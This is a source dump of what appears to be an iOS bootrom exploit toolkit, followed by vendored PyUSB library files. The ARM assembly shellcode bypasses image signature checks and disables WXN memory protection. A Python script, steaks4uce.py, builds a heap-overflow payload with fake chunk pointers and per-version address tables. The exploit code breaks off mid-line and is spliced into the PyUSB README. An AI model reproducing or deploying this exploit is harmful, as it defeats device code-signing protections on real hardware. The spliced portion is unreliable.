R1, RELOCATE_SHELLCODE_SIZE) LDR R3, =RELOCATE_SHELLCODE_ADDRESS ADD R3, R3, #1 BX R3 @ goto (RELOCATE_SHELLCODE_ADDRESS + 1) pwned_dfu_loop: LDR R3, =clean_data_cache BLX R3 @ clean_data_cache() LDR R0, =gVersionString ADR R1, PWND_STRING MOV R2, #40 LDR R3, =strlcat /* TODO: do this in a more reasonable way */ BLX R3 @ strlcat(gVersionString, PWND_STRING, 40) LDR R3, =usb_wait_for_image LDR R0, =LOAD_ADDRESS LDR R1, =MAX_SIZE BLX R3 @ R0 = usb_wait_for_image(LOAD_ADDRESS, MAX_SIZE) MOV R4, R0 @ R4 = R0 LDR R1, =gLeakingDFUBuffer LDR R0, [R1] @ R0 = gLeakingDFUBuffer MOV R2, #0 STR R2, [R1] @ gLeakingDFUBuffer = 0 LDR R3, =free BLX R3 @ free(R0) CMP R4, #0 BLT pwned_dfu_loop @ if (R4 < 0) goto pwned_dfu_loop LDR R5, =LOAD_ADDRESS LDR R0, [R5] @ R0 = LOAD_ADDRESS[0] LDR R1, =EXEC_MAGIC CMP R0, R1 BNE pwned_dfu_not_exec_magic @ if (R0 != EXEC_MAGIC) goto pwned_dfu_not_exec_magic LDR R0, [R5, #0x8] @ R0 = LOAD_ADDRESS[2] /* arg1 */ LDR R1, [R5, #0xC] @ R1 = LOAD_ADDRESS[3] /* arg2 */ LDR R2, [R5, #0x10] @ R2 = LOAD_ADDRESS[4] /* arg3 */ LDR R3, [R5, #0x14] @ R3 = LOAD_ADDRESS[5] /* arg4 */ LDR R4, [R5, #0x18] STR R4, [SP] @ SP[0] = LOAD_ADDRESS[6] /* arg5 */ LDR R4, [R5, #0x1C] STR R4, [SP, #0x4] @ SP[1] = LOAD_ADDRESS[7] /* arg6 */ LDR R4, [R5, #0x20] STR R4, [SP, #0x8] @ SP[2] = LOAD_ADDRESS[8] /* arg7 */ LDR R4, [R5, #0x4] BLX R4 @ R0 = LOAD_ADDRESS[1](R0, R1, R2, R3, SP[0], SP[1], SP[2]) STR R0, [R5, #4] @ LOAD_ADDRESS[1] = R0 MOV R1, #0 STR R1, [R5] @ LOAD_ADDRESS[0] = 0 B pwned_dfu_loop @ goto pwned_dfu_loop pwned_dfu_not_exec_magic: LDR R0, =LOAD_ADDRESS MOV R1, R4 MOV R2, #0 LDR R3, =memz_create BLX R3 @ R0 = memz_create(LOAD_ADDRESS, R4, 0) CMP R0, #0 BEQ pwned_dfu_loop @ if (R0 == 0) goto pwned_dfu_loop /* out of memory :-| */ LDR R3, =LOAD_ADDRESS STR R3, [SP] @ SP[0] = LOAD_ADDRESS STR R4, [SP, #4] @ SP[1] = R4 MOV R4, R0 @ R4 = R0 MOV R1, SP ADD R2, SP, #4 BL image3_load_no_signature_check @ R0 = image3_load_no_signature_check(R0, &SP[0], &SP[1]) CMP R0, #0 BNE load_failed @ if (R0 != 0) goto load_failed LDR R1, =LOAD_ADDRESS MOV R2, #0 LDR R3, =jump_to BLX R3 @ jump_to(0, LOAD_ADDRESS, 0) /* jump_to should never return */ load_failed: MOV R0, R4 LDR R3, =memz_destroy BLX R3 @ memz_destroy(R4) B pwned_dfu_loop @ goto pwned_dfu_loop image3_load_no_signature_check: PUSH {R4-R7, LR} @ push_registers(R4, R5, R6, R7, LR) MOV R6, R11 MOV R5, R10 MOV R4, R8 PUSH {R4-R6} @ push_registers(R8, R10, R11) ADD R7, SP, #0x18 @ R7 = SP - 0x18 LDR R4, =IMAGE3_LOAD_SP_OFFSET MOV R5, SP SUB R5, R5, R4 MOV SP, R5 @ SP = SP - IMAGE3_LOAD_SP_OFFSET MOV R3, #0 LDR R4, =IMAGE3_LOAD_STRUCT_OFFSET ADD R4, R5, R4 STR R3, [R4] @ *(SP + IMAGE3_LOAD_STRUCT_OFFSET) = 0 STR R2, [SP, #0x10] @ SP[4] = R2 STR R1, [SP, #0x14] @ SP[5] = R1 STR R3, [SP, #0x18] @ SP[6] = 0 LDR R6, [R1] @ R6 = *R1 MOV R10, R1 @ R10 = R1 MOV R11, R3 @ R11 = 0 LDR R1, =MAX_SIZE MOV R8, R1 @ R8 = MAX_SIZE LDR R2, [R0, #4] CMP R2, R1 BGT img3_fail @ if (R0[1] > MAX_SIZE) goto img3_fail MOV R8, R2 @ R8 = R0[1] MOV R0, R4 MOV R1, R6 LDR R4, =image3_create_struct BLX R4 MOV R4, R0 @ R4 = image3_create_struct(SP + IMAGE3_LOAD_STRUCT_OFFSET, R6, R8, 0) LDR R3, =image3_load_continue @ R3 = image3_load_continue CMP R4, #0 BEQ img3_branch_R3 @ if (R4 == 0) goto img3_branch_R3 img3_fail: MOV R4, #1 @ R4 = 1 LDR R3, =image3_load_fail @ R3 = image3_load_fail img3_branch_R3: BX R3 @ goto R3 .align 2 PWND_STRING: .ascii "] PWND:[steaks4uce\x00" ================================================ FILE: src/t8010_t8011_disable_wxn_arm64.S ================================================ .text .align 2 .globl _main _main: # Copy the real pagetable first MOV X1, #0x180000000 ADD X2, X1, #0xA8000 ADD X1, X1, #0xA0000 MOV X0, 0 cpy: LDR X3, [X1,X0] STR X3, [X2,X0] ADD X0, X0, #8 CMP X0, #0x1000 B.LE cpy # Patch our copy MOV X1, #0x180000000 ADD X2, X1, #0xA8000 ADD X1, X1, #0x625 STR X1, [X2,#0x600] DMB SY # And now the real one MOV X2, #0x180000000 ADD X2, X2, #0xA0000 MOV X0, 0 loop: LDR X1, [X2,X0] BIC X1, X1, #0x80 BIC X1, X1, #0x0040000000000000 BIC X1, X1, #0x0020000000000000 STR X1, [X2,X0] DMB SY ADD X0, X0, #8 CMP X0, 0x600 B.LE loop MOV X0, #0x100D MSR SCTLR_EL1, X0 DSB SY ISB RET ================================================ FILE: src/usb_0xA1_2_arm64.S ================================================ .text .pool .set USB_CORE_DO_IO, 0xBAD00006 .set LOAD_ADDRESS, 0xBAD00001 .set EXEC_MAGIC, 0xBAD00002 .set MEMC_MAGIC, 0xBAD00004 .set MEMS_MAGIC, 0xBAD00005 .set DONE_MAGIC, 0xBAD00003 .global _main _main: jump_back: BRK #1 BRK #1 LDRH W2, [X0] CMP W2, #0x2A1 BNE jump_back STP X29, X30, [SP,#-0x10]! MOV X29, SP STP X20, X19, [SP,#-0x10]! MOV X19, X0 LDR X20, =LOAD_ADDRESS MOV W1, #0xFFFF LDRH W2, [X19,#2] CMP W1, W2 BNE request_done LDR X0, [X20] ; X0 = LOAD_ADDRESS[0] LDR X1, =EXEC_MAGIC CMP X0, X1 BNE not_exec ; if (X0 != EXEC_MAGIC) goto not_exec STR XZR, [X20] ; LOAD_ADDRESS[0] = 0 LDR X0, [X20, #0x10] ; X0 = LOAD_ADDRESS[2] /* arg1 */ LDR X1, [X20, #0x18] ; X1 = LOAD_ADDRESS[3] /* arg2 */ LDR X2, [X20, #0x20] ; X2 = LOAD_ADDRESS[4] /* arg3 */ LDR X3, [X20, #0x28] ; X3 = LOAD_ADDRESS[5] /* arg4 */ LDR X4, [X20, #0x30] ; X4 = LOAD_ADDRESS[6] /* arg5 */ LDR X5, [X20, #0x38] ; X5 = LOAD_ADDRESS[7] /* arg6 */ LDR X6, [X20, #0x40] ; X6 = LOAD_ADDRESS[8] /* arg7 */ LDR X7, [X20, #0x40] ; X7 = LOAD_ADDRESS[9] /* arg8 */ LDR X8, [X20, #0x8] BLR X8 ; X0 = LOAD_ADDRESS[1](X0, X1, X2, X3, X4, X5, X6, X7) LDR X8, =DONE_MAGIC STP X8, X0, [X20] ; LOAD_ADDRESS[0,1] = DONE_MAGIC, X0 B request_done not_exec: LDR X1, =MEMC_MAGIC CMP X0, X1 BNE not_memc STR XZR, [X20] LDP X0, X1, [X20, #0x10] LDR X2, [X20, #0x20] BL memcpy LDR X8, =DONE_MAGIC STR X8, [X20] B request_done not_memc: LDR X1, =MEMS_MAGIC CMP X0, X1 BNE request_done STR XZR, [X20] LDP X0, X1, [X20, #0x10] LDR X2, [X20, #0x20] BL memset LDR X8, =DONE_MAGIC STR X8, [X20] B request_done request_done: MOV W0, #0x80 MOV X1, X20 LDRH W2, [X19,#6] MOV X3, #0 LDR X4, =USB_CORE_DO_IO BLR X4 MOV W0, #0 LDP X20, X19, [SP],#0x10 LDP X29, X30, [SP],#0x10 RET memset: MOV X3, #0x101010101010101 AND X1, X1, #0xFF MUL X1, X1, X3 MOV X3, X0 memset_8: CMP X2, #8 B.CC memset_4 STR X1, [X0] ADD X0, X0, #8 SUB X2, X2, #8 B memset_8 memset_4: CMP X2, #4 B.CC memset_2 STR W1, [X0] ADD X0, X0, #4 SUB X2, X2, #4 memset_2: CMP X2, #2 B.CC memset_1 STR W1, [X0] ADD X0, X0, #2 SUB X2, X2, #2 memset_1: CBZ X2, memset_done STR W1, [X0] ADD X0, X0, #1 SUB X2, X2, #1 memset_done: MOV X0, X3 RET memcpy: MOV X4, X0 memcpy_8: CMP X2, #8 B.CC memcpy_4 LDR X3, [X1] STR X3, [X0] ADD X0, X0, #8 ADD X1, X1, #8 SUB X2, X2, #8 B memcpy_8 memcpy_4: CMP X2, #4 B.CC memcpy_2 LDR W3, [X1] STR W3, [X0] ADD X0, X0, #4 ADD X1, X1, #4 SUB X2, X2, #4 memcpy_2: CMP X2, #2 B.CC memcpy_1 LDRH W3, [X1] STRH W3, [X0] ADD X0, X0, #2 ADD X1, X1, #2 SUB X2, X2, #2 memcpy_1: CBZ X2, memcpy_done LDRB W3, [X1] STRB W3, [X0] ADD X0, X0, #1 ADD X1, X1, #1 SUB X2, X2, #1 memcpy_done: MOV X0, X4 RET ================================================ FILE: src/usb_0xA1_2_armv7.S ================================================ .text .pool .set USB_CORE_DO_IO, 0xBAD00006 .set LOAD_ADDRESS, 0xBAD00001 .set EXEC_MAGIC, 0xBAD00002 .set MEMC_MAGIC, 0xBAD00004 .set MEMS_MAGIC, 0xBAD00005 .set DONE_MAGIC, 0xBAD00003 .code 16 .global _main _main: jump_back: BKPT #1 BKPT #1 BKPT #1 BKPT #1 LDRH R2, [R0] MOVW R3, #0x2A1 CMP R2, R3 BNE jump_back PUSH {R4-R7,LR} ADD R7, SP, #0xC SUB SP, SP, #0x10 MOV R4, R0 LDR R5, =LOAD_ADDRESS MOVW R1, #0xFFFF LDRH R2, [R4,#2] CMP R1, R2 BNE request_done LDRD R0, R1, [R5] LDR R2, =EXEC_MAGIC CMP R0, R2 BNE not_exec CMP R1, R2 BNE not_exec MOV R1, #0 STRD R1, R1, [R5] LDRD R0, R1, [R5, #0x20] LDRD R2, R3, [R5, #0x28] STRD R0, R1, [SP] STRD R2, R3, [SP, #0x8] LDRD R0, R1, [R5, #0x10] LDRD R2, R3, [R5, #0x18] LDR R6, [R5, #0x8] BLX R6 LDR R2, =DONE_MAGIC STRD R0, R1, [R5,#0x8] STRD R2, R2, [R5] not_exec: LDR R2, =MEMC_MAGIC CMP R0, R2 BNE not_memc CMP R1, R2 BNE not_memc MOV R1, #0 STRD R1, R1, [R5] LDRD R0, R1, [R5, #0x10] LDR R2, [R5, #0x18] BL memcpy LDR R2, =DONE_MAGIC STRD R2, R2, [R5] B request_done not_memc: LDR R2, =MEMS_MAGIC CMP R0, R2 BNE request_done CMP R1, R2 BNE request_done MOV R1, #0 STRD R1, R1, [R5] LDRD R0, R1, [R5, #0x10] LDR R2, [R5, #0x18] BL memset LDR R2, =DONE_MAGIC STRD R2, R2, [R5] request_done: MOV R0, #0x80 MOV R1, R5 LDRH R2, [R4,#6] MOV R3, #0 LDR R4, =USB_CORE_DO_IO BLX R4 MOV R0, #0 ADD SP, SP, #0x10 POP {R4-R7,PC} memcpy: CMP R2, #4 BCC memcpy_2 LDR R3, [R1] STR R3, [R0] ADD R0, R0, #4 ADD R1, R1, #4 SUB R2, R2, #4 B memcpy memcpy_2: CMP R2, #2 BCC memcpy_1 LDRH R3, [R1] STRH R3, [R0] ADD R0, R0, #2 ADD R1, R1, #2 SUB R2, R2, #2 memcpy_1: CBZ R2, memcpy_done LDRB R3, [R1] STRB R3, [R0] ADD R0, R0, #1 ADD R1, R1, #1 SUB R2, R2, #1 memcpy_done: BX LR memset: MOV R3, #0xFF AND R1, R1, R3 LSL R3, R1, #8 ORR R1, R1, R3 LSL R3, R1, #16 ORR R1, R1, R3 memset_4: CMP R2, #4 BCC memset_2 STR R1, [R0] ADD R0, R0, #4 SUB R2, R2, #4 B memset_4 memset_2: CMP R2, #2 BCC memset_1 STRH R1, [R0] ADD R0, R0, #2 SUB R2, R2, #2 memset_1: CBZ R2, memset_done STRB R1, [R0] ADD R0, R0, #1 SUB R2, R2, #1 memset_done: BX LR ================================================ FILE: steaks4uce.py ================================================ # Credit: This file is based on steaks4uce exploit (heap overflow) by pod2g. import struct, sys, time import usb # pyusb: use 'pip install pyusb' to install this module import dfu constants_240_4 = [ 0x22030000, # 1 - MAIN_STACK_ADDRESS 0x3af5, # 2 - nor_power_on 0x486d, # 3 - nor_init 0x6c81, # 4 - usb_destroy 0x1059, # 5 - usb_shutdown 0x560, # 6 - invalidate_instruction_cache 0x2202d800, # 7 - RELOCATE_SHELLCODE_ADDRESS 0x200, # 8 - RELOCATE_SHELLCODE_SIZE 0x795c, # 9 - memmove 0x534, # 10 - clean_data_cache 0x280, # 11 - gVersionString 0x83cd, # 12 - strlcat 0x30e9, # 13 - usb_wait_for_image 0x22000000, # 14 - LOAD_ADDRESS 0x24000, # 15 - MAX_SIZE 0x220241ac, # 16 - gLeakingDFUBuffer 0x1955, # 17 - free 0x65786563, # 18 - EXEC_MAGIC 0x1bf1, # 19 - memz_create 0x3339, # 20 - jump_to 0x1c19, # 21 - memz_destroy 0x58, # 22 - IMAGE3_LOAD_SP_OFFSET 0x54, # 23 - IMAGE3_LOAD_STRUCT_OFFSET 0x1c5d, # 24 - image3_create_struct 0x22cd, # 25 - image3_load_continue 0x23a3, # 26 - image3_load_fail ] constants_240_5_1 = [ 0x22030000, # 1 - MAIN_STACK_ADDRESS 0x3afd, # 2 - nor_power_on 0x4875, # 3 - nor_init 0x6c89, # 4 - usb_destroy 0x1059, # 5 - usb_shutdown 0x560, # 6 - invalidate_instruction_cache 0x2202d800, # 7 - RELOCATE_SHELLCODE_ADDRESS 0x200, # 8 - RELOCATE_SHELLCODE_SIZE 0x7964, # 9 - memmove 0x534, # 10 - clean_data_cache 0x280, # 11 - gVersionString 0x83d5, # 12 - strlcat 0x30f1, # 13 - usb_wait_for_image 0x22000000, # 14 - LOAD_ADDRESS 0x24000, # 15 - MAX_SIZE 0x220241ac, # 16 - gLeakingDFUBuffer 0x1955, # 17 - free 0x65786563, # 18 - EXEC_MAGIC 0x1bf9, # 19 - memz_create 0x3341, # 20 - jump_to 0x1c21, # 21 - memz_destroy 0x58, # 22 - IMAGE3_LOAD_SP_OFFSET 0x54, # 23 - IMAGE3_LOAD_STRUCT_OFFSET 0x1c65, # 24 - image3_create_struct 0x22d5, # 25 - image3_load_continue 0x23ab, # 26 - image3_load_fail ] class DeviceConfig: def __init__(self, version, constants): self.version = version self.constants = constants configs = [ DeviceConfig('240.4', constants_240_4), # S5L8720 (old bootrom) DeviceConfig('240.5.1', constants_240_5_1), # S5L8720 (new bootrom) ] # Pad to length 256 and add heap data for overwrite payload = '\x00' * 256 + struct.pack('<14I', # 1. Allocated chunk to be freed # Chunk header: (size 0x8) 0x84, # 0x00: previous_chunk 0x5, # 0x04: next_chunk # Contents: (requested size 0x1c, allocated size 0x20) 0x80, # 0x08: buffer[0] - direction 0x22026280, # 0x0c: buffer[1] - usb_response_buffer 0xffffffff, # 0x10: buffer[2] 0x138, # 0x14: buffer[3] - size of payload in bytes 0x100, # 0x18: buffer[4] 0x0, # 0x1c: buffer[5] 0x0, # 0x20: buffer[6] 0x0, # 0x24: unused # 2. Fake free chunk # Chunk header: (size 0x8) 0x15, # 0x28: previous_chunk 0x2, # 0x2c: next_chunk # Attack fd/bk pointers in this free chunk for arbitrary write: 0x22000001, # 0x30: fd - shellcode_address (what to write) 0x2202d7fc, # 0x34: bk - exception_irq() LR on the stack (where to write it) ) def generate_shellcode(constants): with open('bin/steaks4uce-shellcode.bin', 'rb') as f: shellcode = f.read() # Shellcode has placeholder values for constants; check they match and replace with constants from config placeholders_offset = len(shellcode) - 4 * len(constants) for i in range(len(constants)): offset = placeholders_offset + 4 * i (value,) = struct.unpack('= 2.4, ctypes and at least one of the builtin backends. PyUSB supports libusb 0.1, libusb 1.0 and OpenUSB, but the user does not need to worry about that, unless in some corner cases. If you have any question about PyUSB, you can use the PyUSB mailing list hosted in the SourceForge. In the PyUSB website (http://walac.github.io/pyusb) you can find instructions on how to subscribe to the mailing list. Installing PyUSB on GNU/Linux Systems ===================================== These instructions are for Debian-based systems. Instructions for other flavors of GNU/Linux should be similar. You will first need to install the following packages: 1) python (PyUSB is useless without it), version >= 2.4 2) At least one of the supported libraries (libusb 1.0, libusb 0.1 or OpenUSB) 3) If your Python version is < 2.5, you have to install ctypes as a separate package, because these versions of Python does not ship it. For example, the command:: $ sudo apt-get install python libusb-1.0-0 should install all these packages on most Debian-based systems with access to the proper package repositories. Once the above packages are installed, you can install PyUSB with the command:: $ sudo python setup.py install Run it as root from within the same directory as this README file. You can also use `pip `_ to install PyUSB:: $ sudo pip install pyusb --pre Just bear in mind that you still follow to procedure to install the libusb library. For pure Debian variants ------------------------ For pure Debian systems you are advised to install either the python-usb or python3-usb packages. These are prebuilt based on PyUSB and libusb-1.0:: $ sudo apt-get install python-usb python3-usb You may wish to get the backported version 1.0, since PyUSB doesn't depend upon any truly unstable packages. Installing PyUSB on Windows =========================== Now that PyUSB is 100% written in Python, you install it on Windows in the same way you do on Linux:: python setup.py install If you get some kind of "command not found" error, make sure to add the Python install directory to your PATH environment variable or give the complete path to the Python interpreter. Remember that you need libusb (1.0 or 0.1) or OpenUSB running on your system. For Windows users, libusb 0.1 is provided through `libusb-win32 `_ package. Check the libusb website for updates (http://www.libusb.info). Reporting bugs/Submitting patches ================================= Some people have been sending patches and reporting bugs directly at my email. Please, do it through `github `_, I had a hardtime tracking their names to put them in the acknowledgments file. ;-) PS: this README file was based on the great Josh Lifton's one... ^_^ ================================================ FILE: usb/__init__.py ================================================ # Copyright (C) 2009-2014 Wander Lairson Costa # # The following terms apply to all files associated # with the software unless explicitly disclaimed in individual files. # # The authors hereby grant permission to use, copy, modify, distribute, # and license this software and its documentation for any purpose, provided # that existing copyright notices are retained in all copies and that this # notice is included verbatim in any distributions. No written agreement, # license, or royalty fee is required for any of the authorized uses. # Modifications to this software may be copyrighted by their authors # and need not follow the licensing terms described here, provided that # the new terms are clearly indicated on the first page of each file where # they apply. # # IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY # FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES # ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY # DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. # # THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE # IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE # NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR # MODIFICATIONS. r"""PyUSB - Easy USB access in Python This package exports the following modules and subpackages: core - the main USB implementation legacy - the compatibility layer with 0.x version backend - the support for backend implementations. control - USB standard control requests. libloader - helper module for backend library loading. Since version 1.0, main PyUSB implementation lives in the 'usb.core' module. New applications are encouraged to use it. """ import logging import os __author__ = 'Wander Lairson Costa' # Use Semantic Versioning, http://semver.org/ version_info = (1, 0, 0) __version__ = '%d.%d.%d' % version_info __all__ = ['legacy', 'control', 'core', 'backend', 'util', 'libloader'] def _setup_log(): from usb import _debug logger = logging.getLogger('usb') debug_level = os.getenv('PYUSB_DEBUG') if debug_level is not None: _debug.enable_tracing(True) filename = os.getenv('PYUSB_LOG_FILENAME') LEVELS = {'debug': logging.DEBUG, 'info': logging.INFO, 'warning': logging.WARNING, 'error': logging.ERROR, 'critical': logging.CRITICAL} level = LEVELS.get(debug_level, logging.CRITICAL + 10) logger.setLevel(level = level) try: handler = logging.FileHandler(filename) except: handler = logging.StreamHandler() fmt = logging.Formatter('%(asctime)s %(levelname)s:%(name)s:%(message)s') handler.setFormatter(fmt) logger.addHandler(handler) else: class NullHandler(logging.Handler): def emit(self, record): pass # We set the log level to avoid delegation to the # parent log handler (if there is one). # Thanks to Chris Clark to pointing this out. logger.setLevel(logging.CRITICAL + 10) logger.addHandler(NullHandler()) _setup_log() # We import all 'legacy' module symbols to provide compatibility # with applications that use 0.x versions. from usb.legacy import * ================================================ FILE: usb/_debug.py ================================================ # Copyright (C) 2009-2014 Wander Lairson Costa # # The following terms apply to all files associated # with the software unless explicitly disclaimed in individual files. # # The authors hereby grant permission to use, copy, modify, distribute, # and license this software and its documentation for any purpose, provided # that existing copyright notices are retained in all copies and that this # notice is included verbatim in any distributions. No written agreement, # license, or royalty fee is required for any of the authorized uses. # Modifications to this software may be copyrighted by their authors # and need not follow the licensing terms described here, provided that # the new terms are clearly indicated on the first page of each file where # they apply. # # IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY # FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES # ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY # DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. # # THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE # IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE # NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR # MODIFICATIONS. __author__ = 'Wander Lairson Costa' __all__ = ['methodtrace', 'functiontrace'] import logging import usb._interop as _interop _enable_tracing = False def enable_tracing(enable): global _enable_tracing _enable_tracing = enable def _trace_function_call(logger, fname, *args, **named_args): logger.debug( # TODO: check if 'f' is a method or a free function fname + '(' + \ ', '.join((str(val) for val in args)) + \ ', '.join((name + '=' + str(val) for name, val in named_args.items())) + ')' ) # decorator for methods calls tracing def methodtrace(logger): def decorator_logging(f): if not _enable_tracing: return f def do_trace(*args, **named_args): # this if is just a optimization to avoid unecessary string formatting if logging.DEBUG >= logger.getEffectiveLevel(): fn = type(args[0]).__name__ + '.' + f.__name__ _trace_function_call(logger, fn, *args[1:], **named_args) return f(*args, **named_args) _interop._update_wrapper(do_trace, f) return do_trace return decorator_logging # decorator for methods calls tracing def functiontrace(logger): def decorator_logging(f): if not _enable_tracing: return f def do_trace(*args, **named_args): # this if is just a optimization to avoid unecessary string formatting if logging.DEBUG >= logger.getEffectiveLevel(): _trace_function_call(logger, f.__name__, *args, **named_args) return f(*args, **named_args) _interop._update_wrapper(do_trace, f) return do_trace return decorator_logging ================================================ FILE: usb/_interop.py ================================================ # Copyright (C) 2009-2014 Wander Lairson Costa # # The following terms apply to all files associated # with the software unless explicitly disclaimed in individual files. # # The authors hereby grant permission to use, copy, modify, distribute, # and license this software and its documentation for any purpose, provided # that existing copyright notices are retained in all copies and that this # notice is included verbatim in any distributions. No written agreement, # license, or royalty fee is required for any of the authorized uses. # Modifications to this software may be copyrighted by their authors # and need not follow the licensing terms described here, provided that # the new terms are clearly indicated on the first page of each file where # they apply. # # IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY # FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES # ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY # DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. # # THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE # IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE # NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR # MODIFICATIONS. # All the hacks necessary to assure compatibility across all # supported versions come here. # Please, note that there is one version check for each # hack we need to do, this makes maintenance easier... ^^ import sys import array __all__ = ['_reduce', '_set', '_next', '_update_wrapper'] # we support Python >= 2.4 assert sys.hexversion >= 0x020400f0 # On Python 3, reduce became a functools module function try: import functools _reduce = functools.reduce except (ImportError, AttributeError): _reduce = reduce # all, introduced in Python 2.5 try: _all = all except NameError: _all = lambda iter_ : _reduce( lambda x, y: x and y, iter_, True ) # we only have the builtin set type since 2.5 version try: _set = set except NameError: import sets _set = sets.Set # On Python >= 2.6, we have the builtin next() function # On Python 2.5 and before, we have to call the iterator method next() def _next(iter): try: return next(iter) except NameError: return iter.next() # functools appeared in 2.5 try: import functools _update_wrapper = functools.update_wrapper except (ImportError, AttributeError): def _update_wrapper(wrapper, wrapped): wrapper.__name__ = wrapped.__name__ wrapper.__module__ = wrapped.__module__ wrapper.__doc__ = wrapped.__doc__ wrapper.__dict__ = wrapped.__dict__ # this is used (as of May 2015) twice in core, once in backend/openusb, and in # some unit test code. It would probably be clearer if written in terms of some # definite 3.2+ API (bytearrays?) with a fallback provided for 2.4+. def as_array(data=None): if data is None: return array.array('B') if isinstance(data, array.array): return data try: return array.array('B', data) except TypeError: # When you pass a unicode string or a character sequence, # you get a TypeError if the first parameter does not match a = array.array('B') a.fromstring(data) # deprecated since 3.2 return a ================================================ FILE: usb/_lookup.py ================================================ # Copyright (C) 2009-2014 Walker Inman # # The following terms apply to all files associated # with the software unless explicitly disclaimed in individual files. # # The authors hereby grant permission to use, copy, modify, distribute, # and license this software and its documentation for any purpose, provided # that existing copyright notices are retained in all copies and that this # notice is included verbatim in any distributions. No written agreement, # license, or royalty fee is required for any of the authorized uses. # Modifications to this software may be copyrighted by their authors # and need not follow the licensing terms described here, provided that # the new terms are clearly indicated on the first page of each file where # they apply. # # IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY # FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES # ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY # DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. # # THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE # IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE # NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR # MODIFICATIONS. r"""usb._lookups - Lookup tables for USB """ descriptors = { 0x1 : "Device", 0x2 : "Configuration", 0x3 : "String", 0x4 : "Interface", 0x5 : "Endpoint", 0x6 : "Device qualifier", 0x7 : "Other speed configuration", 0x8 : "Interface power", 0x9 : "OTG", 0xA : "Debug", 0xB : "Interface association", 0xC : "Security", 0xD : "Key", 0xE : "Encryption type", 0xF : "Binary device object store (BOS)", 0x10 : "Device capability", 0x11 : "Wireless endpoint companion", 0x30 : "SuperSpeed endpoint companion", } device_classes = { 0x0 : "Specified at interface", 0x2 : "Communications Device", 0x9 : "Hub", 0xF : "Personal Healthcare Device", 0xDC : "Diagnostic Device", 0xE0 : "Wireless Controller", 0xEF : "Miscellaneous", 0xFF : "Vendor-specific", } interface_classes = { 0x0 : "Reserved", 0x1 : "Audio", 0x2 : "CDC Communication", 0x3 : "Human Interface Device", 0x5 : "Physical", 0x6 : "Image", 0x7 : "Printer", 0x8 : "Mass Storage", 0x9 : "Hub", 0xA : "CDC Data", 0xB : "Smart Card", 0xD : "Content Security", 0xE : "Video", 0xF : "Personal Healthcare", 0xDC : "Diagnostic Device", 0xE0 : "Wireless Controller", 0xEF : "Miscellaneous", 0xFE : "Application Specific", 0xFF : "Vendor Specific", } ep_attributes = { 0x0 : "Control", 0x1 : "Isochronous", 0x2 : "Bulk", 0x3 : "Interrupt", } MAX_POWER_UNITS_USB2p0 = 2 # mA MAX_POWER_UNITS_USB_SUPERSPEED = 8 # mA ================================================ FILE: usb/_objfinalizer.py ================================================ # -*- coding: utf-8 -*- # # Copyright (C) 2014 André Erdmann # # The following terms apply to all files associated # with the software unless explicitly disclaimed in individual files. # # The authors hereby grant permission to use, copy, modify, distribute, # and license this software and its documentation for any purpose, provided # that existing copyright notices are retained in all copies and that this # notice is included verbatim in any distributions. No written agreement, # license, or royalty fee is required for any of the authorized uses. # Modifications to this software may be copyrighted by their authors # and need not follow the licensing terms described here, provided that # the new terms are clearly indicated on the first page of each file where # they apply. # # IN NO 